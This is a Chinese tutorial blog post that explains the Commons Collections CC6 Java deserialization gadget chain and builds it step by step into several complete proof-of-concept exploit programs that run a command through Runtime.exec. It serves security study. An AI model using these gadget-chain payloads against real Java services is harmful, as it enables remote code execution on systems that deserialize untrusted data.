CC6链子

前言

因为JDK8u71后,Java 官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数

private void readObject(java.io.ObjectInputStream s)
         throws java.io.IOException, ClassNotFoundException {
-        s.defaultReadObject();
+        ObjectInputStream.GetField fields = s.readFields();
+
+        @SuppressWarnings("unchecked")
+        Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
+        @SuppressWarnings("unchecked")
+        Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);
 
         // Check to make sure that types have not evolved incompatibly
 
         AnnotationType annotationType = null;
         try {
-            annotationType = AnnotationType.getInstance(type);
+            annotationType = AnnotationType.getInstance(t);
         } catch(IllegalArgumentException e) {
             // Class is no longer an annotation type; time to punch out
             throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
         }
 
         Map<String, Class<?>> memberTypes = annotationType.memberTypes();
+        // consistent with runtime Map type
+        Map<String, Object> mv = new LinkedHashMap<>();
 
         // If there are annotation members without values, that
         // situation is handled by the invoke method.
-        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
+        for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
             String name = memberValue.getKey();
+            Object value = null;
             Class<?> memberType = memberTypes.get(name);
             if (memberType != null) {  // i.e. member still exists
-                Object value = memberValue.getValue();
+                value = memberValue.getValue();
                 if (!(memberType.isInstance(value) ||
                       value instanceof ExceptionProxy)) {
-                    memberValue.setValue(
-                        new AnnotationTypeMismatchExceptionProxy(
+                    value = new AnnotationTypeMismatchExceptionProxy(
                             value.getClass() + "[" + value + "]").setMember(
-                                annotationType.members().get(name)));
+                                annotationType.members().get(name));
                 }
             }
+            mv.put(name, value);
+        }
+
+        UnsafeAccessor.setType(this, t);
+        UnsafeAccessor.setMemberValues(this, mv);
+    }

改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。 所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执 行set或put操作,也就不会触发RCE了。

那有没有一条链不受版本限制呢?有,就是今天说的CC6链,下面正式开始介绍。

环境搭建

下载完后打开OpenJDK,将src/share/classes下的sun文件夹复制到 JDK 8u71的src中

然后在SDKs中导入就好了

CC6链分析

这条链相当于 CC1链+URLDNS链,尾部的exec方法还是和CC链的一样,这里就不说了。

对应的EXP:

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //chainedTransformer.transform(c);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","aaa");
        Map<Object,Object> transforedMap = TransformedMap.decorate(map,null,chainedTransformer);

1.找链子

接下来就是找哪个类调用了LazyMap的get()方法,前面我们说通过find Usage来寻找,我们来看一下结果

4435个results.......只能说很d很卷,能那么多个调用中找到一个合适的构造链子。根据 ysoSerial 官方的链子,是TiedMapEntry类中的getValue()方法调用了LazyMap的get()方法。

继续找谁调用了TiedMapEntry的getValue()方法,找的时候一般先在同一个类中查找,不行再find Usage。可以发现,在同一个类的hashCode()方法中调用了getValue()。

2.与入口类结合

前面已经到hashCode()这里了,那么我们该去找谁调用了hashCode()方法。这里参考别人的文章,在java反序列化中,找到hashCode()之后的链子用的基本是这一条。

xxx.readObject()
HashMap.put() --自动调用--> HashMap.hash()
后续利用链.hashCode()

更巧的是,hashMap本身就是一个完美的入口类,我们来看看它的readObject方法

在末尾可以看到它调用了hash方法,而HashMap的hash方法会调用key.hashCode()

那么我们令key==TiedMapEntry,不就可以调用TiedMapEntry的hashCode方法了么,所以整条链就出来了,梳理一下流程。

1.进入HashMap的readObject方法,readObject中触发HashMap的hash方法

2.触发hash的key.hashCode()进入TiedMapEntry的hashCode()

3.TiedMapEntry中hashCode()又调用getValue()方法

4.getValue方法中map.get(key)触发,进入LazyMap的get方法.....后面就是代码恶意执行了

3.手写EXP

先把命令执行的那一段敲出来

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

然后就是放入LazyMap中,让这个类的get方法执行命令

Map lazymap = LazyMap.decorate(new HashMap<>(),chainedTransformer);

接着我们不是要通过TiedMapEntry.getValue来调用LazyMap.get吗?那就看看getValue的参数

我们的目的是让map==LazyMap,那就通过TiedMapEntry的构造函数给map赋值

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");

而TiedMapEntry.hashCode()会调用getValue,那么接下来要做的就是让HashMap.hash()去调用TiedMapEntry.hashCode()。我们看到HashMap的hash方法接收的参数是key,会对key.hashCode()进行调用。

那我们通过map.put()让TiedMapEntry等于key就好了

HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"value");

最后就是将map2序列化就行了,完整的EXP为:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class poc {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map lazymap = LazyMap.decorate(new HashMap<>(),chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
        HashMap<Object,Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"value");

         serialize(map2);
         unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

到这里其实EXP也算能用了,我们先把反序列化函数注释掉,然后运行会发现弹出计算器

为什么序列化的时候会弹出计算器呢?这里后面再说,我们再把序列化函数注释掉,让反序列化执行。会发现其实反序列化也成功了,勉强可以用。

4.解决问题

这里探究一下为什么序列化的时候也会弹出计算器,我们在map2.put处打个断点,然后debug强制进入

发现会进入到HashMap的put里面,而put里面会调用hash方法,然后就会在序列化的时候,将链子提前走了一遍。

为了解决这个问题,我们可以在LazyMap.decorate()放入chainedTransformer攻击语句的时候,将chainedTransformer换成人畜无害的new ConstantTransformer(1),让map2.put走的时候什么也不会执行

Map lazymap = LazyMap.decorate(new HashMap<>(),new ConstantTransformer(1));

因为最后是LazyMap.get()里的factory.transform()执行攻击语句

所以我们在后面利用反射把LazyMap的factory值设为chainedTransformer(恶意代码),因为p.set的参数第一个参数要求是Object,所以这里写上面的lazymap。

Class c = LazyMap.class;
Field p = c.getDeclaredFields("factory");
p.setAccessible(true);
p.set(lazymap, chainedTransformer);

到目前为止,完整的EXP为:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class poc {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map lazymap = LazyMap.decorate(new HashMap<>(),new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
        HashMap<Object,Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"value");

        Class c = LazyMap.class;
        Field p = c.getDeclaredFields("factory");
        p.setAccessible(true);
        p.set(lazymap, chainedTransformer);
        serialize(map2);
         //unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

我们尝试序列化一下,发现不会弹出计算器了。

接着反序列化,发现也没有计算器弹出,这是怎么回事?

我们在LazyMap的if处设置断点,在序列化的时候debug

发现会传入一个key,这个key从哪来的呢?我们看到TiedMapEntry的getValue,它调用LazyMap.get(key)的时候传入的。

而这个key通过EXP中的new TiedMapEntry(lazymap,"aaa")调用构造函数来赋值

这对我们后面反序列化有什么影响呢?序列化时,因为map2.put()方法,会将链子提前走一遍。走到LazyMap.get()处,进入if后会通过map.put(key,value)将aaa这个key写入map中。

那么在反序列化时,同样走到这个位置,if会判断map中是否包含aaa这个key。因为在序列化时会将aaa这个key写入map,所以这里返回的肯定是true,进不了循环,也就进不来if里面执行恶意代码。

解决这个很简单,在后面将这个key移除就好

lazymap.remove("aaa");

最终EXP

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class poc {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap<>();
        Map lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
        HashMap<Object,Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"value");
        lazymap.remove("aaa");

        Class c = LazyMap.class;
        Field p = c.getDeclaredField("factory");
        p.setAccessible(true);
        p.set(lazymap, chainedTransformer);
        serialize(map2);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

看一下全过程的链子

HahsMap.readObject()
    HashMap.put()
    HashMap.hash()
        TiedMapEntry.hashCode()
        TiedMapEntry.getValue()
            LazyMap.get()
                ChainedTransformer.transform()
                    InvokerTransformer.transform()
                        Runtime.exec()

参考文章

Java反序列化CC6链 —— 逐步EXP编写 - FreeBuf网络安全行业门户

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值